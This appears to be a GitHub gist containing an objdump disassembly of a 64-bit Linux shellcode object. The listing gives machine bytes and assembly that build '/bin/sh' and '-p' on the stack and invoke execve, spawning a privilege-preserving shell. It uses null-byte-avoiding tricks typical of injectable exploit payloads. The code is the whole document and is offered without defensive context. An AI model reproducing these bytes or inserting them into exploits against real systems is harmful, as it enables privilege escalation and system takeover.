Skip to content

Instantly share code, notes, and snippets.

@fgsahoward
Created June 11, 2018 15:16
Show Gist options
  • Save fgsahoward/6b6935247cce1d13abdc9bc1eaf9be9e to your computer and use it in GitHub Desktop.
Save fgsahoward/6b6935247cce1d13abdc9bc1eaf9be9e to your computer and use it in GitHub Desktop.
[howard@sterling shellcodes]$ objdump -Dz obj/shell2_64.o
obj/shell2_64.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 4d 31 c0 xor %r8,%r8
7: 66 41 b8 2d 70 mov $0x702d,%r8w
c: 41 50 push %r8
e: 49 89 e1 mov %rsp,%r9
11: 49 b8 2f 62 69 6e 2f movabs $0x4168732f6e69622f,%r8
18: 73 68 41
1b: 49 c1 e0 08 shl $0x8,%r8
1f: 49 c1 e8 08 shr $0x8,%r8
23: 41 50 push %r8
25: 48 89 e7 mov %rsp,%rdi
28: 4d 31 c0 xor %r8,%r8
2b: 41 50 push %r8
2d: 41 51 push %r9
2f: 57 push %rdi
30: 48 89 e6 mov %rsp,%rsi
33: 48 31 d2 xor %rdx,%rdx
36: 48 31 c0 xor %rax,%rax
39: b0 3b mov $0x3b,%al
3b: 0f 05 syscall
3d: 48 83 c4 28 add $0x28,%rsp
41: 5d pop %rbp
42: c3 retq
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment